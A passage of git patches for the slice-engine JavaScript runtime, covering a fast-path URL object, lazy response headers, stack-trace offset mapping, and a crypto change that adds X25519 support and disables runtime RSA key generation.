(this.origin === "null" ? this.protocol : this.origin) + this.pathname; - if (!this._sp || this._sp._p.length === 0) { + if (!this._sp || this._sp._ensureP().length === 0) { this.search = ""; this.href = baseHref + this.hash; return; @@ -295,6 +390,135 @@ URL.prototype.toString = URL.prototype.toJSON = function() { return this.href; }; + + FastUrlProto = Object.create(URL.prototype); + function __matFastUrl(u, field, val) { + var proto = u._rs === 7 ? "http:" : "https:"; + var host = u._r.slice(u._rs, u._pi); + var pci = host.lastIndexOf(":"); + var hasPort = pci !== -1 && host.indexOf("]") < pci; + var hostname = hasPort ? host.slice(0, pci) : host; + var port = hasPort ? host.slice(pci + 1) : ""; + var origin = u._r.slice(0, u._pi); + var pathname = u._qi === -1 ? u._r.slice(u._pi) : u._r.slice(u._pi, u._qi); + var search = u._qi === -1 ? "" : u._r.slice(u._qi); + var href = u._r; + Object.setPrototypeOf(u, URL.prototype); + u.protocol = proto; + u.username = ""; + u.password = ""; + u.hostname = hostname; + u.port = port; + u.host = host; + u.origin = origin; + u.pathname = pathname; + u.hash = ""; + u.search = search; + u.href = href; + u[field] = val; + } + Object.defineProperties(FastUrlProto, { + href: { + get: function() { return this._r; }, + set: function(v) { __matFastUrl(this, "href", String(v)); }, + configurable: true, + enumerable: true + }, + protocol: { + get: function() { return this._rs === 7 ? "http:" : "https:"; }, + set: function(v) { __matFastUrl(this, "protocol", String(v)); }, + configurable: true, + enumerable: true + }, + username: { + get: function() { return ""; }, + set: function(v) { __matFastUrl(this, "username", String(v)); }, + configurable: true, + enumerable: true + }, + password: { + get: function() { return ""; }, + set: function(v) { __matFastUrl(this, "password", String(v)); }, + configurable: true, + enumerable: true + }, + host: { + get: function() { return this._r.slice(this._rs, this._pi); }, + set: function(v) { __matFastUrl(this, "host", String(v)); }, + configurable: true, + enumerable: true + }, + hostname: { + get: function() { + var h = this._r.slice(this._rs, this._pi); + var pci = h.lastIndexOf(":"); + return (pci !== -1 && h.indexOf("]") < pci) ? h.slice(0, pci) : h; + }, + set: function(v) { __matFastUrl(this, "hostname", String(v)); }, + configurable: true, + enumerable: true + }, + port: { + get: function() { + var h = this._r.slice(this._rs, this._pi); + var pci = h.lastIndexOf(":"); + return (pci !== -1 && h.indexOf("]") < pci) ? h.slice(pci + 1) : ""; + }, + set: function(v) { __matFastUrl(this, "port", String(v)); }, + configurable: true, + enumerable: true + }, + origin: { + get: function() { return this._r.slice(0, this._pi); }, + set: function(v) { __matFastUrl(this, "origin", String(v)); }, + configurable: true, + enumerable: true + }, + pathname: { + get: function() { + return this._qi === -1 ? this._r.slice(this._pi) : this._r.slice(this._pi, this._qi); + }, + set: function(v) { __matFastUrl(this, "pathname", String(v)); }, + configurable: true, + enumerable: true + }, + search: { + get: function() { + return this._qi === -1 ? "" : this._r.slice(this._qi); + }, + set: function(v) { __matFastUrl(this, "search", String(v)); }, + configurable: true, + enumerable: true + }, + hash: { + get: function() { return ""; }, + set: function(v) { __matFastUrl(this, "hash", String(v)); }, + configurable: true, + enumerable: true + }, + searchParams: { + get: function() { + return this._sp || (this._sp = new URLSearchParams(this._qi === -1 ? "" : this._r.slice(this._qi + 1), this)); + }, + configurable: true + } + }); + FastUrlProto._syncSearch = function() { + var baseHref = this._qi === -1 ? this._r : this._r.slice(0, this._qi); + if (!this._sp || this._sp._ensureP().length === 0) { + this._r = baseHref; + this._qi = -1; + return; + } + var qs = this._sp.toString(); + if (qs) { + this._qi = baseHref.length; + this._r = baseHref + "?" + qs; + } else { + this._r = baseHref; + this._qi = -1; + } + }; URL.canParse = function(url, base) { if (arguments.length === 0) return false; var u = (url && url._isSliceUrl) ? url.href : url; diff --git a/crates/slice-engine/src/preludes/11_fetch_headers_req_res.js b/crates/slice-engine/src/preludes/11_fetch_headers_req_res.js index 1b0781a..e8075fa 100644 --- a/crates/slice-engine/src/preludes/11_fetch_headers_req_res.js +++ b/crates/slice-engine/src/preludes/11_fetch_headers_req_res.js @@ -278,6 +278,7 @@ rSimple.statusText = "OK"; rSimple.ok = true; rSimple._h = null; + rSimple._rawH = null; rSimple._data = undefined; rSimple._stream = null; rSimple._body = typeof body === "string" ? body : ""; @@ -312,10 +313,31 @@ } var o = init; var st = o.status !== undefined ? Number(o.status) : 200; + var stText = o.statusText !== undefined ? String(o.statusText) : (st === 200 ? "OK" : ""); + var oh = o.headers; + if ( + (body === undefined || body === null || typeof body === "string") && + (!oh || (typeof oh === "object" && !oh._isHeaders && !Array.isArray(oh))) + ) { + var rInit = Object.create(LazyResProto); + rInit.status = st; + rInit.statusText = stText; + rInit.ok = st >= 200 && st < 300; + rInit._h = null; + rInit._rawH = oh || null; + rInit._data = undefined; + rInit._stream = null; + rInit._body = typeof body === "string" ? body : ""; + rInit._u8 = null; + rInit._fd = null; + rInit._ct = typeof body === "string" ? "text/plain;charset=UTF-8" : ""; + rInit._isSliceRes = true; + rInit.bodyUsed = false; + return rInit; + } this.status = st; - this.statusText = o.statusText !== undefined ? String(o.statusText) : (st === 200 ? "OK" : ""); + this.statusText = stText; this.ok = st >= 200 && st < 300; - var oh = o.headers; this.headers = (oh && oh._isHeaders) ? oh : new Headers(oh); this._data = undefined; this._stream = null; @@ -380,14 +402,16 @@ Object.defineProperty(LazyResProto, "headers", { get: function() { if (!this._h) { - var h = new Headers(); - if (this._ct) h._m["content-type"] = this._ct; + var h = this._rawH ? new Headers(this._rawH) : new Headers(); + if (this._ct && !h._m["content-type"]) h._m["content-type"] = this._ct; this._h = h; + this._rawH = null; } return this._h; }, set: function(v) { this._h = v; + this._rawH = null; }, configurable: true, enumerable: true @@ -490,6 +514,7 @@ rFast.statusText = "OK"; rFast.ok = true; rFast._h = null; + rFast._rawH = null; rFast._data = data; rFast._stream = null; rFast._body = ""; @@ -501,7 +526,11 @@ return rFast; } var r = new Response(null, typeof init === "number" ? { status: init } : init); - if (!r.headers._m["content-type"]) r.headers._m["content-type"] = "application/json"; + if (r._h === null) { + r._ct = "application/json"; + } else if (!r.headers._m["content-type"]) { + r.headers._m["content-type"] = "application/json"; + } r._data = data; return r; }; @@ -532,6 +561,30 @@ } function __finishSliceRes(r) { + if (r._h === null && !r._stream) { + var ctFast = r._ct || "text/plain;charset=UTF-8"; + var hdrJsonFast = ""; + var rawH = r._rawH; + if (rawH) { + var extra = null; + for (var rk in rawH) { + if (!Object.prototype.hasOwnProperty.call(rawH, rk)) continue; + var rv = rawH[rk]; + if (rv === undefined) continue; + var lk = (rk === "content-type" || rk === "content-length") ? rk : rk.toLowerCase(); + if (lk === "content-type") { + ctFast = typeof rv === "string" ? rv : String(rv); + } else if (lk !== "content-length") { + if (!extra) extra = []; + extra.push([lk, typeof rv === "string" ? rv : String(rv)]); + } + } + if (extra) hdrJsonFast = JSON.stringify(extra); + } + var rbFast = r._body || (r._data !== undefined ? JSON.stringify(r._data) : ""); + __slice_http_respond(r.status, rbFast, ctFast, hdrJsonFast); + return; + } var h = r._h !== undefined ? r._h : r.headers; var ct = (h && h._m && h._m["content-type"]) || r._ct || "text/plain;charset=UTF-8"; var hdrJson = h ? __resHdrJson(h) : ""; @@ -564,7 +617,9 @@ if (!__slice_http_is_active()) return; var fn = typeof h.fetch === "function" ? h.fetch : (typeof h === "function" ? h : null); if (!fn) return; - var res = fn.call(h, __makeLiveReq(), globalThis.process.env, __slice_web_ctx); + var res = fn.length <= 1 + ? fn.call(h, __makeLiveReq()) + : fn.call(h, __makeLiveReq(), globalThis.process.env, __slice_web_ctx); if (res) { if (res._isSliceRes) { __finishSliceRes(res); diff --git a/crates/slice-engine/src/preludes/js_preludes.rs b/crates/slice-engine/src/preludes/js_preludes.rs index 758cd2f..b82f4d1 100644 --- a/crates/slice-engine/src/preludes/js_preludes.rs +++ b/crates/slice-engine/src/preludes/js_preludes.rs @@ -197,6 +197,33 @@ pub(crate) fn build_fused_prelude_prefix( out } +/// Computes the exact newline count emitted by [`build_fused_prelude_prefix`] so runtime stack +/// traces from precompiled `SLICEBC\x01` `CodeBlock`s subtract the prelude prefix offset accurately. +#[cold] +pub(crate) fn count_fused_prelude_newlines(shards_mask: u32, init_lazy_getters: bool) -> usize { + let mut nl = ULTRA_CORE_PRELUDE.iter().filter(|&&b| b == b'\n').count(); + for shard_id in SHARD_LOAD_ORDER { + let bit = 1u32 << shard_id; + if (shards_mask & bit) != 0 { + let shard_bytes = shard_prelude_bytes(shard_id); + nl += shard_bytes.iter().filter(|&&b| b == b'\n').count(); + } + } + for builtin_bit in 19..=28u32 { + if (shards_mask & (1u32 << builtin_bit)) != 0 { + let b_bytes = crate::node_builtins::builtin_snippet_for_bit(builtin_bit); + nl += b_bytes.iter().filter(|&&b| b == b'\n').count(); + } + } + if init_lazy_getters { + nl += LAZY_GETTERS_INIT_PRELUDE + .iter() + .filter(|&&b| b == b'\n') + .count(); + } + nl +} + /// Concatenates `build_fused_prelude_prefix` and `js_code` into a single contiguous /// ECMAScript compilation unit so `boa_engine` parses and compiles everything in one pass. #[allow(dead_code)] diff --git a/crates/slice-engine/src/runtime/boa_realm.rs b/crates/slice-engine/src/runtime/boa_realm.rs index 98371d9..e591110 100644 --- a/crates/slice-engine/src/runtime/boa_realm.rs +++ b/crates/slice-engine/src/runtime/boa_realm.rs @@ -28,6 +28,11 @@ pub(crate) const REALM_CTL_SET_NEXT_TICK: i32 = 3; pub(crate) const REALM_CTL_RESET_WU: i32 = 4; pub(crate) const REALM_CTL_DISPATCH_HTTP_BRIDGE: i32 = 5; +pub(crate) const HOST_GROUP_HTTP_BRIDGE: u8 = 1 << 0; +pub(crate) const HOST_GROUP_SEMVER_FAST: u8 = 1 << 1; +pub(crate) const HOST_GROUP_KV_SANDBOX: u8 = 1 << 2; +pub(crate) const HOST_GROUP_DET: u8 = 1 << 3; + #[derive(Default, Clone)] pub(crate) struct ActiveBoaHttpReq { pub(crate) active: bool, @@ -43,6 +48,8 @@ pub(crate) struct ActiveBoaHttpReq { pub(crate) struct WarmBoaRealm { pub(crate) ctx: boa_engine::Context, pub(crate) loaded_bundles: FxHashMap, + pub(crate) loaded_bundle_flags: FxHashMap, + pub(crate) loaded_bundle_fused_specs: FxHashMap, pub(crate) compiled_scripts: FxHashMap, pub(crate) ses_check_fn: Option, pub(crate) ensure_shard_fn: Option, @@ -50,6 +57,7 @@ pub(crate) struct WarmBoaRealm { pub(crate) drain_wu_fn: Option, pub(crate) ctl_fn: Option, pub(crate) loaded_shards_mask: u32, + pub(crate) registered_host_groups: u8, } #[derive(Clone, Debug, Default)] @@ -122,6 +130,8 @@ thread_local! { const { std::cell::RefCell::new(boa_engine::JsValue::undefined()) }; pub(crate) static BOA_ACTIVE_SOURCE_PTR_LEN: std::cell::Cell<(usize, usize)> = const { std::cell::Cell::new((0, 0)) }; + pub(crate) static BOA_ACTIVE_SOURCE_FUSED_SPEC: std::cell::Cell = + const { std::cell::Cell::new(0) }; pub(crate) static BOA_TRACE_ENABLED: std::cell::Cell = const { std::cell::Cell::new(false) }; pub(crate) static BOA_TRACE_EVENTS: std::cell::RefCell> = @@ -323,6 +333,7 @@ pub(crate) fn record_trace_event( /// without copying or allocating the source string on the hot execution path. pub(crate) struct ActiveSourceSliceGuard<'a> { prev: (usize, usize), + prev_fused_spec: u64, _marker: std::marker::PhantomData<&'a str>, } @@ -334,8 +345,10 @@ impl<'a> ActiveSourceSliceGuard<'a> { c.set((src.as_ptr() as usize, src.len())); p }); + let prev_fused_spec = BOA_ACTIVE_SOURCE_FUSED_SPEC.with(|c| c.replace(0)); Self { prev, + prev_fused_spec, _marker: std::marker::PhantomData, } } @@ -345,7 +358,29 @@ impl<'a> Drop for ActiveSourceSliceGuard<'a> { #[inline] fn drop(&mut self) { BOA_ACTIVE_SOURCE_PTR_LEN.with(|c| c.set(self.prev)); + BOA_ACTIVE_SOURCE_FUSED_SPEC.with(|c| c.set(self.prev_fused_spec)); + } +} + +#[inline] +pub(crate) fn encode_fused_source_spec(shards_mask: u32, init_lazy: bool) -> u64 { + (1u64 << 63) | ((u64::from(init_lazy)) << 32) | u64::from(shards_mask) +} + +#[inline] +pub(crate) fn set_active_source_fused_spec(spec: u64) { + BOA_ACTIVE_SOURCE_FUSED_SPEC.with(|c| c.set(spec)); +} + +#[cold] +fn active_source_line_offset() -> usize { + let spec = BOA_ACTIVE_SOURCE_FUSED_SPEC.with(|c| c.get()); + if (spec & (1u64 << 63)) == 0 { + return 0; } + let shards_mask = spec as u32; + let init_lazy = ((spec >> 32) & 1) != 0; + crate::js_preludes::count_fused_prelude_newlines(shards_mask, init_lazy) } pub(crate) fn map_stack_with_active_source(raw_stack: &str) -> String { @@ -359,7 +394,8 @@ pub(crate) fn map_stack_with_active_source(raw_stack: &str) -> String { let bytes = std::slice::from_raw_parts(ptr as *const u8, len); std::str::from_utf8_unchecked(bytes) }; - slice_cas::map_bundled_stack_trace(active_src, raw_stack) + let line_offset = active_source_line_offset(); + slice_cas::map_bundled_stack_trace_with_offset(active_src, raw_stack, line_offset) } pub(crate) fn map_error_with_active_source(raw_error: &str) -> String { @@ -373,7 +409,8 @@ pub(crate) fn map_error_with_active_source(raw_error: &str) -> String { let bytes = std::slice::from_raw_parts(ptr as *const u8, len); std::str::from_utf8_unchecked(bytes) }; - slice_cas::map_bundled_error_location(active_src, raw_error) + let line_offset = active_source_line_offset(); + slice_cas::map_bundled_error_location_with_offset(active_src, raw_error, line_offset) } pub(crate) struct SliceJobExecutor { @@ -568,6 +605,8 @@ pub(crate) fn create_bare_boa_realm() -> WarmBoaRealm { WarmBoaRealm { ctx, loaded_bundles: FxHashMap::default(), + loaded_bundle_flags: FxHashMap::default(), + loaded_bundle_fused_specs: FxHashMap::default(), compiled_scripts: FxHashMap::default(), ses_check_fn: None, ensure_shard_fn: None, @@ -575,6 +614,7 @@ pub(crate) fn create_bare_boa_realm() -> WarmBoaRealm { drain_wu_fn: None, ctl_fn: None, loaded_shards_mask: 0, + registered_host_groups: 0, } } diff --git a/crates/slice-engine/src/vm/boacas.rs b/crates/slice-engine/src/vm/boacas.rs index bf3e585..f88f7b6 100644 --- a/crates/slice-engine/src/vm/boacas.rs +++ b/crates/slice-engine/src/vm/boacas.rs @@ -320,6 +320,9 @@ pub(crate) fn eval_boacas_on_realm( if let Some(script) = boa_engine::Script::from_slicebc_bytes(precompiled_slice, &mut realm.ctx) { + let fused_spec = + crate::boa_realm::encode_fused_source_spec(header.shards_mask, init_lazy); + crate::boa_realm::set_active_source_fused_spec(fused_spec); let res = script.evaluate(&mut realm.ctx); realm.loaded_shards_mask = effective_shards | if init_lazy { 1 } else { 0 }; crate::boa_realm::populate_realm_cached_handles(realm); @@ -357,6 +360,9 @@ pub(crate) fn eval_boacas_on_realm( { if let Some(obj) = val.as_object() { realm.loaded_bundles.insert(header.rc_key, obj.clone()); + realm + .loaded_bundle_fused_specs + .insert(header.rc_key, fused_spec); } } } @@ -366,12 +372,19 @@ pub(crate) fn eval_boacas_on_realm( return (res, true); } // Fallback if CodeBlock deserialization fails + crate::boa_realm::set_active_source_fused_spec(0); let _ = crate::js_preludes::eval_ultra_core_prelude(&mut realm.ctx); crate::boa_realm::populate_realm_cached_handles(realm); } if (header.feature_flags & BOACAS_FLAG_IS_RC_BUNDLE) != 0 { if let Some(fn_obj) = realm.loaded_bundles.get(&header.rc_key).cloned() { + let fused_spec = realm + .loaded_bundle_fused_specs + .get(&header.rc_key) + .copied() + .unwrap_or(0); + crate::boa_realm::set_active_source_fused_spec(fused_spec); if is_http_req && (realm.loaded_shards_mask & (1 << 11)) == 0 { ensure_realm_shards(realm, 1 << 11, false); } From 4c5089ac4183bb31f2b12119c320c83a73d6ba5f Mon Sep 17 00:00:00 2001 From: SIKTEC Date: Wed, 11 Nov 2026 21:06:08 -0500 Subject: [PATCH 5/6] fix(crypto): replace baked RSA keys with dynamic codecs and RFC 7748 X25519 --- Cargo.lock | 82 ++- Cargo.toml | 1 + crates/slice-engine/Cargo.toml | 1 + crates/slice-engine/src/bindings/crypto.rs | 373 +++++++++-- .../src/intrinsics/asymmetric_and_keys.rs | 614 ++++++++++++------ crates/slice-engine/src/intrinsics/mod.rs | 2 +- .../src/preludes/04_webcrypto_clone.js | 101 ++- .../src/preludes/node_builtins.rs | 2 +- .../tests/async_webcrypto_and_node_tests.rs | 356 +++++++++- docs/general/02_execution_engine_and_tiers.md | 2 +- .../05_http_server_wintertc_and_edge_kv.md | 2 +- .../07_node_compat_intrinsics_and_npm.md | 18 +- docs/general/COMPATIBILITY.md | 5 +- docs/system/02_tiered_execution_and_boa_vm.md | 8 +- .../04_networking_wintertc_and_event_loop.md | 2 +- 15 files changed, 1292 insertions(+), 277 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index d386f72..434d898 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -115,7 +115,7 @@ dependencies = [ "cc", "cfg-if", "constant_time_eq", - "cpufeatures", + "cpufeatures 0.3.1", ] [[package]] @@ -328,8 +328,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" dependencies = [ "cfg-if", - "cpufeatures", - "rand_core", + "cpufeatures 0.3.1", + "rand_core 0.10.1", ] [[package]] @@ -427,6 +427,15 @@ version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "417bef24afe1460300965a25ff4a24b8b45ad011948302ec221e8a0a81eb2c79" +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + [[package]] name = "cpufeatures" version = "0.3.1" @@ -481,6 +490,31 @@ version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures 0.2.17", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "dashmap" version = "6.2.1" @@ -620,6 +654,12 @@ version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + [[package]] name = "find-msvc-tools" version = "0.1.15" @@ -720,7 +760,7 @@ dependencies = [ "cfg-if", "libc", "r-efi", - "rand_core", + "rand_core 0.10.1", ] [[package]] @@ -1783,9 +1823,15 @@ checksum = "65c9fb96cbc91e3478eaae79a69fcd3f1ae4ad052e471fe6732fff548984b4af" dependencies = [ "chacha20", "getrandom 0.4.3", - "rand_core", + "rand_core 0.10.1", ] +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" + [[package]] name = "rand_core" version = "0.10.1" @@ -1869,6 +1915,15 @@ version = "2.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d" +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + [[package]] name = "rustls" version = "0.23.46" @@ -1936,6 +1991,12 @@ version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2ab42ca02749e120097e328d91d415325bdf43b1c72c4c8badf37375fe40a813" +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + [[package]] name = "seq-macro" version = "0.3.6" @@ -2073,6 +2134,7 @@ dependencies = [ "thiserror", "wasmi", "webpki-roots", + "x25519-dalek", ] [[package]] @@ -2714,6 +2776,16 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3ad82d2a33cdc9674dc7465672f271e096168fcdbe0f799d9e6db8c5892679dc" +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core 0.6.4", +] + [[package]] name = "yoke" version = "0.8.4" diff --git a/Cargo.toml b/Cargo.toml index c734c93..84062af 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -30,6 +30,7 @@ boa_engine = { version = "0.22", default-features = false } rustc-hash = "2.1" rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } ring = "0.17" +x25519-dalek = { version = "2.0", default-features = false, features = ["static_secrets"] } webpki-roots = "1.0" rustls-pki-types = "1" wasmi = "2.0" diff --git a/crates/slice-engine/Cargo.toml b/crates/slice-engine/Cargo.toml index e15356f..69fc925 100644 --- a/crates/slice-engine/Cargo.toml +++ b/crates/slice-engine/Cargo.toml @@ -28,6 +28,7 @@ smallvec.workspace = true itoa.workspace = true rustls.workspace = true ring.workspace = true +x25519-dalek.workspace = true webpki-roots.workspace = true rustls-pki-types.workspace = true wasmi.workspace = true diff --git a/crates/slice-engine/src/bindings/crypto.rs b/crates/slice-engine/src/bindings/crypto.rs index 3684b2b..1d4cc20 100644 --- a/crates/slice-engine/src/bindings/crypto.rs +++ b/crates/slice-engine/src/bindings/crypto.rs @@ -1,5 +1,5 @@ //! WHATWG WebCrypto (`crypto.subtle`) and `node:crypto` Host Bindings (Digests, HMAC, AES-GCM/CBC, -//! Ed25519, ECDSA P-256/P-384, PBKDF2, HKDF, scrypt, CSPRNG). +//! Ed25519, X25519, ECDSA P-256/P-384, RSA PKCS#1 v1.5 / RSA-PSS, PBKDF2, HKDF, scrypt, CSPRNG). use crate::bindings::helpers::{ bytes_to_js_array_buffer, bytes_to_js_uint8_array, compute_webcrypto_hmac, @@ -15,12 +15,13 @@ use crate::intrinsics::{ ecdsa_pub_to_spki, ecdsa_sign_bytes, ecdsa_verify_bytes, ed25519_keypair_from_seed, ed25519_pub_to_spki, ed25519_seed_to_pkcs8_v1, ed25519_sign_bytes, ed25519_verify_bytes, extract_ecdsa_pkcs8_components, extract_ecdsa_pub, extract_ed25519_pub, extract_ed25519_seed, - extract_rsa_pkcs8_spki, extract_rsa_spki, extract_x25519_pub, extract_x25519_seed, - fill_random_bytes, generate_uuid_v4, hkdf_derive_bytes, insert_cached_crypto_key, - make_ring_aead_key, md5_bytes, pbkdf2_derive_bytes, rsa_generate_2048_keypair, rsa_sign_bytes, - rsa_verify_bytes, scrypt_derive_bytes, sha1_bytes, sha256_bytes, sha384_bytes, sha512_bytes, - with_cached_crypto_key, x25519_keypair_from_seed, x25519_pub_to_spki, x25519_seed_to_pkcs8_v1, - AesExpandedKey, CachedCryptoKeyMaterial, + extract_x25519_pub, extract_x25519_seed, fill_random_bytes, generate_uuid_v4, + hkdf_derive_bytes, insert_cached_crypto_key, inspect_rsa_private_key, inspect_rsa_public_key, + make_ring_aead_key, md5_bytes, pbkdf2_derive_bytes, rsa_private_components_to_pkcs8, + rsa_public_components_to_info, rsa_sign_bytes_with_alg, rsa_verify_bytes_with_alg, + scrypt_derive_bytes, sha1_bytes, sha256_bytes, sha384_bytes, sha512_bytes, + with_cached_crypto_key, x25519_diffie_hellman, x25519_keypair_from_seed, x25519_pub_to_spki, + x25519_seed_to_pkcs8_v1, AesExpandedKey, CachedCryptoKeyMaterial, }; pub(crate) fn register_node_crypto_bootstrap_host_function(ctx: &mut boa_engine::Context) { @@ -786,37 +787,16 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { return Ok(BoaVal::from(js_string!(res.to_string()))); } - if alg.eq_ignore_ascii_case("RSA") || alg.eq_ignore_ascii_case("RSA-PSS") { - let mut pick_byte = [0u8; 1]; - BOA_DET_STATE.with(|s| { - if let Some((mut prng, clk)) = s.get() { - fill_random_bytes(&mut pick_byte, Some(&mut prng)); - s.set(Some((prng, clk))); - } else { - fill_random_bytes(&mut pick_byte, None); - } - }); - let (pkcs8, spki) = rsa_generate_2048_keypair(pick_byte[0] as usize) - .map_err(|msg| JsNativeError::error().with_message(msg))?; - let priv_id = insert_cached_crypto_key( - tenant.clone(), - CachedCryptoKeyMaterial::RsaPrivate { - pkcs8: pkcs8.clone(), - spki: spki.clone(), - }, - ); - let pub_id = insert_cached_crypto_key( - tenant, - CachedCryptoKeyMaterial::RsaPublic { spki: spki.clone() }, - ); - let res = serde_json::json!({ - "privId": priv_id, - "pubId": pub_id, - "pubRaw": base64_encode(&spki, false), - "pkcs8": base64_encode(&pkcs8, false), - "spki": base64_encode(&spki, false), - }); - return Ok(BoaVal::from(js_string!(res.to_string()))); + if alg.eq_ignore_ascii_case("RSA") + || alg.eq_ignore_ascii_case("RSASSA-PKCS1-v1_5") + || alg.eq_ignore_ascii_case("RSA-PSS") + || alg.eq_ignore_ascii_case("RSA-OAEP") + { + return Err(JsNativeError::error() + .with_message( + "NotSupportedError: Runtime RSA key generation is disabled in the edge sandbox; import an existing RSA key or generate Ed25519, X25519, or ECDSA P-256/P-384", + ) + .into()); } if alg.eq_ignore_ascii_case("ECDSA") || alg.eq_ignore_ascii_case("ec") { @@ -1130,12 +1110,90 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { } if alg.eq_ignore_ascii_case("X25519") { + if format.eq_ignore_ascii_case("jwk") { + let jwk_str = data_arg.to_string(context)?.to_std_string_escaped(); + let jwk: serde_json::Value = serde_json::from_str(&jwk_str).map_err(|_| { + JsNativeError::error().with_message("DataError: Invalid JWK JSON") + })?; + if jwk.get("kty").and_then(|v| v.as_str()) != Some("OKP") + || jwk.get("crv").and_then(|v| v.as_str()) != Some("X25519") + { + return Err(JsNativeError::error() + .with_message("DataError: JWK kty/crv must be OKP/X25519") + .into()); + } + let x_str = jwk.get("x").and_then(|v| v.as_str()).unwrap_or(""); + if let Some(d_str) = jwk.get("d").and_then(|v| v.as_str()) { + let d_raw = base64_decode(d_str); + if d_raw.len() != 32 { + return Err(JsNativeError::error() + .with_message("DataError: Invalid X25519 JWK private scalar length") + .into()); + } + let mut seed = [0u8; 32]; + seed.copy_from_slice(&d_raw); + let (seed_bytes, pub_bytes) = x25519_keypair_from_seed(seed); + if !x_str.is_empty() { + let x_raw = base64_decode(x_str); + if x_raw.len() != 32 || !constant_time_eq(&pub_bytes, &x_raw) { + return Err(JsNativeError::error() + .with_message( + "DataError: Mismatched X25519 JWK public/private components", + ) + .into()); + } + } + let pkcs8 = x25519_seed_to_pkcs8_v1(&seed_bytes); + let spki = x25519_pub_to_spki(&pub_bytes); + let id = insert_cached_crypto_key( + tenant, + CachedCryptoKeyMaterial::X25519Private { + seed: seed_bytes, + pub_bytes, + }, + ); + let out = serde_json::json!({ + "id": id, + "type": "private", + "crv": "X25519", + "d": base64_encode(&seed_bytes, true), + "x": base64_encode(&pub_bytes, true), + "pkcs8": base64_encode(&pkcs8, false), + "spki": base64_encode(&spki, false), + }); + return Ok(BoaVal::from(js_string!(out.to_string()))); + } else { + let x_raw = base64_decode(x_str); + if x_raw.len() != 32 { + return Err(JsNativeError::error() + .with_message("DataError: Invalid X25519 JWK public key length") + .into()); + } + let mut pub_bytes = [0u8; 32]; + pub_bytes.copy_from_slice(&x_raw); + let spki = x25519_pub_to_spki(&pub_bytes); + let id = insert_cached_crypto_key( + tenant, + CachedCryptoKeyMaterial::X25519Public { pub_bytes }, + ); + let out = serde_json::json!({ + "id": id, + "type": "public", + "crv": "X25519", + "x": base64_encode(&pub_bytes, true), + "pubRaw": base64_encode(&pub_bytes, false), + "spki": base64_encode(&spki, false), + }); + return Ok(BoaVal::from(js_string!(out.to_string()))); + } + } let raw = extract_buffer_source_bytes(data_arg, context)?; if format.eq_ignore_ascii_case("pkcs8") { let seed = extract_x25519_seed(&raw) .map_err(|msg| JsNativeError::error().with_message(msg))?; let (seed_bytes, pub_bytes) = x25519_keypair_from_seed(seed); let pkcs8 = x25519_seed_to_pkcs8_v1(&seed_bytes); + let spki = x25519_pub_to_spki(&pub_bytes); let id = insert_cached_crypto_key( tenant, CachedCryptoKeyMaterial::X25519Private { @@ -1150,9 +1208,15 @@ pub(crate) fn register_webcrypto_host_functions(ctx: &mut boa_engine::Context) { "d": base64_encode(&seed_bytes, true), "x": base64_encode(&pub_bytes, true), "pkcs8": base64_encode(&pkcs8, false), + "spki": base64_encode(&spki, false), }); return Ok(BoaVal::from(js_string!(out.to_string()))); } else { + if format.eq_ignore_ascii_case("raw") && raw.len() != 32 { + return Err(JsNativeError::error() + .with_message("DataError: X25519 raw public key must be 32 bytes") + .into()); + } let pub_bytes = extract_x25519_pub(&raw) .map_err(|msg| JsNativeError::error().with_message(msg))?; let spki = x25519_pub_to_spki(&pub_bytes); @@ -1172,35 +1236,144 @@ pub(crate) fn 